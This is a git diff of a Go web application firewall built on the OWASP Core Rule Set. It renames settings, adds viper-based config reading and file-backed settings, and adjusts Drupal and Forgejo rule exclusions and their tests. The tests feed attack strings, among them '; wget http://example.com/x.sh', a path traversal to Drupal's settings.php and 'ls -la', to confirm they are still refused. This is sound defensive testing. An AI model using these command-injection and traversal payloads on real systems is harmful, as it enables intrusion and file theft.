lookupEnv func(string) (string, bool), v *viper.Viper,
) (string, *url.URL, error) { ) (string, *url.URL, error) {
env := &environment{lookupEnv: withoutFileForms(lookupEnv)} env := &environment{v: v}
listenAddr := env.address("SWRP_LISTEN_ADDR") listenAddr := env.address("SWW_RPROXY_LISTEN_ADDR")
upstreamURL := env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL) upstreamURL := env.appURL("SWW_RPROXY_UPSTREAM_URL", defaultUpstreamURL)
if env.err != nil { if env.err != nil {
return "", nil, env.err return "", nil, env.err
@@ -132,34 +107,12 @@ func RProxyListenAddrAndUpstreamURL(
return listenAddr, upstreamURL, nil return listenAddr, upstreamURL, nil
} }
// withoutFileForms returns lookupEnv finding no setting named with _FILE, since
// rproxy never touches disk.
func withoutFileForms(
lookupEnv func(string) (string, bool),
) func(string) (string, bool) {
return func(name string) (string, bool) {
if strings.HasSuffix(name, "_FILE") {
return "", false
}
return lookupEnv(name)
}
}
// LogValue makes an RProxy log as each setting's name with the value it was // LogValue makes an RProxy log as each setting's name with the value it was
// given, or its default. // given, or its default.
func (c *RProxy) LogValue() slog.Value { func (c *RProxy) LogValue() slog.Value {
return slog.GroupValue(c.settings...) return slog.GroupValue(c.settings...)
} }
// appURL reads a setting that is the app's URL.
func (e *environment) appURL(name, defaultValue string) *url.URL {
upstream, err := parseUpstreamURL(e.value(name, defaultValue))
e.check(name, err)
return upstream
}
// wafBackend reads the setting that is waf's URL, which must be set. // wafBackend reads the setting that is waf's URL, which must be set.
func (e *environment) wafBackend(name string) *url.URL { func (e *environment) wafBackend(name string) *url.URL {
value := e.value(name, "") value := e.value(name, "")
@@ -202,9 +155,7 @@ func (e *environment) milliseconds(name, defaultValue string) time.Duration {
// millisecondsOrOff reads a setting that is a whole number of milliseconds // millisecondsOrOff reads a setting that is a whole number of milliseconds
// above zero, or off, which is 0. // above zero, or off, which is 0.
func (e *environment) millisecondsOrOff( func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
name, defaultValue string,
) time.Duration {
value := e.value(name, defaultValue) value := e.value(name, defaultValue)
if value == off { if value == off {
return 0 return 0
@@ -228,33 +179,3 @@ func parseMilliseconds(value string) (time.Duration, bool) {
return time.Duration(n) * time.Millisecond, true return time.Duration(n) * time.Millisecond, true
} }
// parseUpstreamURL reads the app's URL: http or https, a host and an
// optional port from 1 to 65535, and nothing else, since the request's
// own path and query go to the app unchanged.
func parseUpstreamURL(value string) (*url.URL, error) {
upstream, err := url.Parse(value)
if err != nil {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") &&
upstream.Hostname() != "" &&
upstream.User == nil &&
upstream.Opaque == "" &&
(upstream.Path == "" || upstream.Path == "/") &&
upstream.RawQuery == "" &&
upstream.Fragment == ""
if !onlySchemeAndHost {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
if upstream.Port() != "" {
port, err := strconv.ParseUint(upstream.Port(), 10, 16)
if err != nil || port == 0 {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
}
return upstream, nil
}
+45 -57
View File
@@ -10,20 +10,21 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
) )
// rproxy's settings, by name, and their values in these tests. // rproxy's settings, by name, and their values in these tests.
const ( const (
wafBackend = "SWRP_WAF_BACKEND" wafBackend = "SWW_RPROXY_WAF_BACKEND"
rproxyTimeout = "SWRP_TIMEOUT_MS" rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
rproxyDefault = "SWRP_DEFAULT_DISPOSITION" rproxyDefault = "SWW_RPROXY_DEFAULT_DISPOSITION"
rproxyListen = "SWRP_LISTEN_ADDR" rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
rproxyUpstream = "SWRP_UPSTREAM_URL" rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
rproxyTrusted = "SWRP_TRUSTED_PROXIES" rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
rproxyMaxRequest = "SWRP_MAX_REQUEST_SIZE" rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE"
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE" rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE"
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS" rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS" rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
backendURL = "http://waf:8080" backendURL = "http://waf:8080"
rproxyDefaultAddr = ":8080" rproxyDefaultAddr = ":8080"
rproxyDefaultApp = "http://127.0.0.1:8081" rproxyDefaultApp = "http://127.0.0.1:8081"
@@ -32,11 +33,7 @@ const (
// rproxyConfig reads rproxy's settings from env. // rproxyConfig reads rproxy's settings from env.
func rproxyConfig(env map[string]string) (*config.RProxy, error) { func rproxyConfig(env map[string]string) (*config.RProxy, error) {
return config.RProxyFromEnvironment(func(name string) (string, bool) { return config.RProxyFromEnvironment(configtest.Viper(env))
value, ok := env[name]
return value, ok
})
} }
func TestRProxyDefaults(t *testing.T) { func TestRProxyDefaults(t *testing.T) {
@@ -50,28 +47,18 @@ func TestRProxyDefaults(t *testing.T) {
if cfg.ListenAddr != rproxyDefaultAddr || if cfg.ListenAddr != rproxyDefaultAddr ||
cfg.UpstreamURL.String() != rproxyDefaultApp || cfg.UpstreamURL.String() != rproxyDefaultApp ||
cfg.WAFBackend.String() != backendURL { cfg.WAFBackend.String() != backendURL {
t.Errorf( t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
"addresses %q, %v, %v",
cfg.ListenAddr,
cfg.UpstreamURL,
cfg.WAFBackend,
)
} }
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" { if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
t.Errorf( t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
"timeout %v, default disposition %q",
cfg.Timeout,
cfg.DefaultDisposition,
)
} }
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 { if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize) t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
} }
if cfg.MaxRequestTime != time.Minute || if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
cfg.MaxResponseTime != 30*time.Minute {
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime) t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
} }
@@ -110,12 +97,9 @@ func TestRProxySettingsAreRead(t *testing.T) {
t.Errorf("addresses %+v", cfg) t.Errorf("addresses %+v", cfg)
} }
if cfg.Timeout != 150*time.Millisecond || if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
cfg.DefaultDisposition != "deny" || cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
cfg.MaxRequestSize != 1024 || cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
cfg.MaxResponseSize != 0 ||
cfg.MaxRequestTime != 0 ||
cfg.MaxResponseTime != 250*time.Millisecond {
t.Errorf("limits %+v", cfg) t.Errorf("limits %+v", cfg)
} }
} }
@@ -160,9 +144,7 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel() t.Parallel()
_, err := rproxyConfig( _, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
map[string]string{wafBackend: backendURL, tc.name: tc.value},
)
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") { if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
t.Errorf("error %v, want one naming %s", err, tc.name) t.Errorf("error %v, want one naming %s", err, tc.name)
} }
@@ -173,9 +155,7 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) { func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
t.Parallel() t.Parallel()
cfg, err := rproxyConfig( cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
map[string]string{wafBackend: backendURL, rproxyTrusted: ""},
)
if err != nil { if err != nil {
t.Fatalf("settings: %v", err) t.Fatalf("settings: %v", err)
} }
@@ -189,38 +169,46 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
t.Parallel() t.Parallel()
_, err := rproxyConfig(nil) _, err := rproxyConfig(nil)
if err == nil || if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want one saying %s is required", err, wafBackend) t.Errorf("error %v, want one saying %s is required", err, wafBackend)
} }
} }
func TestRProxyReadsNoFile(t *testing.T) { func TestRProxySettingReadFromFile(t *testing.T) {
t.Parallel() t.Parallel()
path := filepath.Join(t.TempDir(), "backend") path := filepath.Join(t.TempDir(), "backend")
err := os.WriteFile(path, []byte("http://from-a-file:8080\n"), 0o600) err := os.WriteFile(path, []byte(backendURL+"\n"), 0o600)
if err != nil { if err != nil {
t.Fatalf("write: %v", err) t.Fatalf("write: %v", err)
} }
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path}) cfg, err := rproxyConfig(map[string]string{wafBackend + "_FILE": path})
if err == nil ||
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want %s still required", err, wafBackend)
}
cfg, err := rproxyConfig(map[string]string{
wafBackend: backendURL,
rproxyTimeout + "_FILE": "/nonexistent/timeout",
})
if err != nil { if err != nil {
t.Fatalf("settings: %v, with the file left unread", err) t.Fatalf("settings: %v", err)
} }
if cfg.Timeout != 2*time.Second { if cfg.WAFBackend.String() != backendURL {
t.Errorf("timeout %v, want the default", cfg.Timeout) t.Errorf("backend %v, want %s", cfg.WAFBackend, backendURL)
}
}
func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
t.Parallel()
dir := t.TempDir()
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
_, err := rproxyConfig(map[string]string{
wafBackend: backendURL,
rproxyTimeout + "_FILE": path,
})
want := rproxyTimeout + "_FILE: cannot be read: "
if err == nil || !strings.HasPrefix(err.Error(), want) {
t.Errorf("%s: error %v, want one starting %s", path, err, want)
}
} }
} }
+16
View File
@@ -0,0 +1,16 @@
package config
import "github.com/spf13/viper"
// NewViper returns the viper that reads the settings: each setting's
// environment variable, bound to its own name. Every setting of waf
// and rproxy is read through it, and none is read with os.Getenv or
// os.LookupEnv outside it. An environment variable that is set but empty is
// set, as one that holds a value is, which viper does not take for granted.
func NewViper() *viper.Viper {
v := viper.New()
v.AutomaticEnv()
v.AllowEmptyEnv(true)
return v
}
+34
View File
@@ -0,0 +1,34 @@
package config_test
import (
"testing"
"sneak.berlin/go/smallwebwaf/internal/config"
)
// These tests set real environment variables, so none runs in parallel.
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
t.Setenv(adminToken, "")
_, err := config.FromEnvironment(config.NewViper())
want := adminToken + ": is shorter than 32 characters"
if err == nil || err.Error() != want {
t.Fatalf("error %v, want %s", err, want)
}
}
func TestListSetEmptyInTheEnvironmentReplacesItsDefault(t *testing.T) {
t.Setenv(wafBackend, backendURL)
t.Setenv(rproxyTrusted, "")
cfg, err := config.RProxyFromEnvironment(config.NewViper())
if err != nil {
t.Fatalf("settings: %v", err)
}
if len(cfg.TrustedProxies) != 0 {
t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies)
}
}
File diff suppressed because it is too large. Load diff
+19 -33
View File
@@ -1,7 +1,7 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its // method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_BODY_LIMIT is set, with the fifteen changes sww // body while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, with the fifteen changes sww
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as // makes to it and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no // "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// response. // response.
// //
@@ -32,19 +32,19 @@ import (
// directives are the Core Rule Set as sww runs it, with the // directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while // paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, // SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, the exclusions file for the second,
// giteaExclusions for the third, wordpressExclusions for the fourth, // giteaExclusions for the third, wordpressExclusions for the fourth,
// drupalExclusions for the fifth, mediawikiExclusions for the sixth, // drupalExclusions for the fifth, mediawikiExclusions for the sixth,
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth, // mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
// nextcloudExclusions for the ninth, and forgejoExclusions for the tenth. // nextcloudExclusions for the ninth, and forgejoExclusions for the tenth.
// Each rule sww adds has an id from 900000 to 900999, the ids the // Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which // Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no // SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
// setting switches one off. Coraza joins a line ending in \ to the next, // setting switches one off. Coraza joins a line ending in \ to the next,
// without the spaces at the start of the next. // without the spaces at the start of the next.
const directives = ` const directives = `
# The engine only detects. sww compares the request's anomaly # The engine only detects. sww compares the request's anomaly
# score with SWW_WAF_ANOMALY_THRESHOLD itself, in block and detect mode # score with SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD itself, in block and detect mode
# alike. It reads no body, unless bodyDirectives switch that on. # alike. It reads no body, unless bodyDirectives switch that on.
SecRuleEngine DetectionOnly SecRuleEngine DetectionOnly
SecRequestBodyAccess Off SecRequestBodyAccess Off
@@ -258,16 +258,16 @@ var cookiesNotRead = []string{"gitea_flash", "flash", "redirect_to"}
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
// ParanoiaLevel is SWW_WAF_PARANOIA_LEVEL, from 1 to 4. // ParanoiaLevel is SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL, from 1 to 4.
ParanoiaLevel int ParanoiaLevel int
// DisabledRules are the ids of the rules switched off // DisabledRules are the ids of the rules switched off
// (SWW_WAF_DISABLED_RULES). // (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
DisabledRules []int DisabledRules []int
// BodyLimit is the most of a request body the Core Rule Set reads // BodyLimit is the most of a request body the Core Rule Set reads
// (SWW_WAF_BODY_LIMIT), 0 while it is off and it reads none. // (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
BodyLimit int64 BodyLimit int64
// ExclusionsFile is the path of a file of exclusions loaded before the // ExclusionsFile is the path of a file of exclusions loaded before the
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while // Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none. // there is none.
ExclusionsFile string ExclusionsFile string
} }
@@ -292,11 +292,9 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
// directive that removes or changes rules as it loads, such as // directive that removes or changes rules as it loads, such as
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so // SecRuleRemoveById. The Core Rule Set's rules load after the file, so
// the directive finds none of them. // the directive finds none of them.
var errChangesNoRule = errors.New( var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
"the Core Rule Set's rules load after the file; " + "switch a rule off with SWW_WAF_CORE_RULE_SET_DISABLED_RULES, or on some requests " +
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " + "with a ctl exclusion")
"with a ctl exclusion",
)
// directivesIn returns the directives in text as Coraza reads them: it // directivesIn returns the directives in text as Coraza reads them: it
// skips blank lines and comment lines, and joins a line ending in \ to // skips blank lines and comment lines, and joins a line ending in \ to
@@ -340,27 +338,18 @@ func checkExclusions(exclusions string) error {
} }
if first <= lastOwnRuleID && last >= firstOwnRuleID { if first <= lastOwnRuleID && last >= firstOwnRuleID {
return fmt.Errorf( return fmt.Errorf("the exclusions file names %s: %w", match[0],
"the exclusions file names %s: %w", errSwwRuleID)
match[0],
errSwwRuleID,
)
} }
} }
// Coraza takes the directive's name up to the first space, without // Coraza takes the directive's name up to the first space, without
// regard to case. // regard to case.
name, _, _ := strings.Cut(directive, " ") name, _, _ := strings.Cut(directive, " ")
if lower := strings.ToLower(name); strings.HasPrefix( if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
lower,
"secruleremove",
) ||
strings.HasPrefix(lower, "secruleupdate") { strings.HasPrefix(lower, "secruleupdate") {
return fmt.Errorf( return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
"%s in the exclusions file changes no rule: %w", errChangesNoRule)
name,
errChangesNoRule,
)
} }
} }
@@ -492,17 +481,14 @@ func (c *CoreRuleSet) Inspect(
} }
// readBody reads body, the body of the request in tx, which has run on // readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWW_WAF_BODY_LIMIT is set and the body is // the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set and the body is
// of a kind the Core Rule Set reads: form data and multipart, of which it // of a kind the Core Rule Set reads: form data and multipart, of which it
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only // reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
// when they are no longer than that, since they cannot be read in part. // when they are no longer than that, since they cannot be read in part.
// readBody reads one byte past the limit, to tell which they are, gives // readBody reads one byte past the limit, to tell which they are, gives
// the Core Rule Set what it reads, and returns what it read and the error // the Core Rule Set what it reads, and returns what it read and the error
// that ended the reading early, if one did. // that ended the reading early, if one did.
func (c *CoreRuleSet) readBody( func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
tx types.Transaction,
body io.Reader,
) ([]byte, error) {
if c.bodyLimit == 0 { if c.bodyLimit == 0 {
return nil, nil return nil, nil
} }
File diff suppressed because it is too large. Load diff
+4 -4
View File
@@ -4,10 +4,10 @@
# request, before the rules it switches off, so this file is loaded before the # request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An # Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter # exclusion on a field of a body applies only when the query has no parameter
# of that name, so it matters only while SWW_WAF_BODY_LIMIT is set. The # of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is
# exclusions above the comment "The fields below are in bodies" also cover a # set. The exclusions above the comment "The fields below are in bodies" also
# body field of the same name whatever the query holds, and only those below it # cover a body field of the same name whatever the query holds, and only those
# need a query without that name. # below it need a query without that name.
# #
# Each path may start with a language prefix, such as /fr in # Each path may start with a language prefix, such as /fr in
# /fr/admin/content. The prefix is two or three letters, then optionally a # /fr/admin/content. The prefix is two or three letters, then optionally a
+28 -107
View File
@@ -7,7 +7,7 @@ import (
"testing" "testing"
) )
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // drupalThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const drupalThreshold = 5 const drupalThreshold = 5
// drupalAddArticle is Drupal's form for a new article. // drupalAddArticle is Drupal's form for a new article.
@@ -124,25 +124,15 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.body) got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
t.Errorf( t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
"POST %s %q let through: %+v",
sent.target,
sent.body,
got,
)
} }
} }
} }
}
// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of for _, attack := range []string{
// TestDrupalAttacksAreRefusedInTheExcludedBodyFields. injection,
func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) { scriptTag,
t.Parallel() } {
crs := readingBodies(t)
for _, attack := range []string{injection, scriptTag} {
for _, field := range []string{ for _, field := range []string{
`"title":"` + attack + `"`, `"title":"` + attack + `"`,
`"body":{"value":"` + attack + `"}`, `"body":{"value":"` + attack + `"}`,
@@ -163,11 +153,7 @@ func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
} }
} }
r := request{ r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
http.MethodPatch,
"/node/2?_format=json",
[]string{jsonBody},
}
body := `{"title":[{"value":"` + attack + `"}]}` body := `{"title":[{"value":"` + attack + `"}]}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -212,25 +198,14 @@ func TestDrupalPasswordFieldsPass(t *testing.T) {
wantPasswordFieldsPass(t, []passwordFields{ wantPasswordFieldsPass(t, []passwordFields{
{drupalRegister, formData, pass}, {drupalRegister, formData, pass},
{"/fr/user/register", formData, pass}, {"/fr/user/register", formData, pass},
{ {"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
"/user/1/edit",
formData,
[]string{"current_pass", pass[0], pass[1]},
},
{"/admin/people/create", formData, pass}, {"/admin/people/create", formData, pass},
{drupalJSONRegister, jsonBody, []string{value}}, {drupalJSONRegister, jsonBody, []string{value}},
{drupalJSONRegister, jsonBody, []string{"pass.value"}}, {drupalJSONRegister, jsonBody, []string{"pass.value"}},
{ {"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
"/user/1?_format=json",
jsonBody,
[]string{value, "pass.0.existing"},
},
{ {
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody, "/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
[]string{ []string{"data.attributes.pass.value", "data.attributes.pass.existing"},
"data.attributes.pass.value",
"data.attributes.pass.existing",
},
}, },
}) })
} }
@@ -247,11 +222,7 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
`../../sites/default/settings.php`, `../../sites/default/settings.php`,
} { } {
for _, field := range []string{"name", "mail"} { for _, field := range []string{"name", "mail"} {
r := request{ r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
http.MethodPost,
drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"` + field + `":"` + attack + `"}` body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -270,23 +241,12 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
{"ls -la", 932250}, {"ls -la", 932250},
{".htaccess@example.com", 930120}, {".htaccess@example.com", 930120},
} { } {
r := request{ r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
http.MethodPost,
drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"mail":"` + kept.value + `"}` body := `{"mail":"` + kept.value + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold || if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
!slices.Contains(got.RuleIDs, kept.rule) { t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
t.Errorf(
"POST %s %s: %+v, want %d among them",
r.target,
body,
got,
kept.rule,
)
} }
} }
} }
@@ -357,35 +317,10 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack) got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
t.Errorf( t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
"POST %s %s let through: %+v",
r.target,
sent.field,
got,
)
} }
} }
// An address keeps 932250, which refuses ls -la.
r := request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ := inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf(
"POST %s mail=ls%%20-la: %+v, want 932250 among them",
r.target,
got,
)
}
}
// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half
// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.
func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, field := range []string{ for _, field := range []string{
`"title":"; wget http://example.com/x.sh"`, `"title":"; wget http://example.com/x.sh"`,
`"subject":"; wget http://example.com/x.sh"`, `"subject":"; wget http://example.com/x.sh"`,
@@ -407,11 +342,7 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
} }
} }
r := request{ r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
http.MethodPatch,
"/node/2?_format=json",
[]string{jsonBody},
}
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}` body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -426,6 +357,14 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got) t.Errorf("POST %s %s let through: %+v", r.target, body, got)
} }
// An address keeps 932250, which refuses ls -la.
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
}
} }
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
@@ -449,13 +388,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+value) got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= drupalThreshold { if got.Score >= drupalThreshold {
t.Errorf( t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
"POST %s %s%s refused: %+v",
sent.target,
sent.field,
value,
got,
)
} }
} }
} }
@@ -474,11 +407,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Errorf("POST %s %s refused: %+v", r.target, body, got) t.Errorf("POST %s %s refused: %+v", r.target, body, got)
} }
r = request{ r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
http.MethodPost,
"/fr" + drupalJSONPasswordReset,
[]string{jsonBody},
}
body = `{"name":"` + word + `"}` body = `{"name":"` + word + `"}`
got, _ = inspectBody(t, crs, r, body) got, _ = inspectBody(t, crs, r, body)
@@ -488,11 +417,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
} }
for _, address := range []string{"python3@example.com", "powershell@example.com"} { for _, address := range []string{"python3@example.com", "powershell@example.com"} {
r := request{ r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
http.MethodPost,
"/fr" + drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"mail":"` + address + `"}` body := `{"mail":"` + address + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -558,11 +483,7 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
{drupalEditAccount, "mail=python3"}, {drupalEditAccount, "mail=python3"},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"}, {drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
} { } {
r := request{ r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
http.MethodPost,
sent.path + "?" + sent.field,
[]string{formData},
}
got, _ := inspectBody(t, crs, r, sent.field) got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
-96
View File
@@ -19,99 +19,3 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
ctl:ruleRemoveTargetById=932160;ARGS:q,\ ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\ ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q" ctl:ruleRemoveTargetById=932260;ARGS:q"
# Forgejo's search of a repository's code at a branch or a tag sends the text
# searched for in q. The search box on a repository's home page sends it there
# when Forgejo has no code indexer, as by default. A branch or tag name can
# hold a slash, as feat/docker-support does. q skips there the rules it skips
# on gitea's search of code (900600 in gitea.conf). Among them, these refused
# Forgejo's searches there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
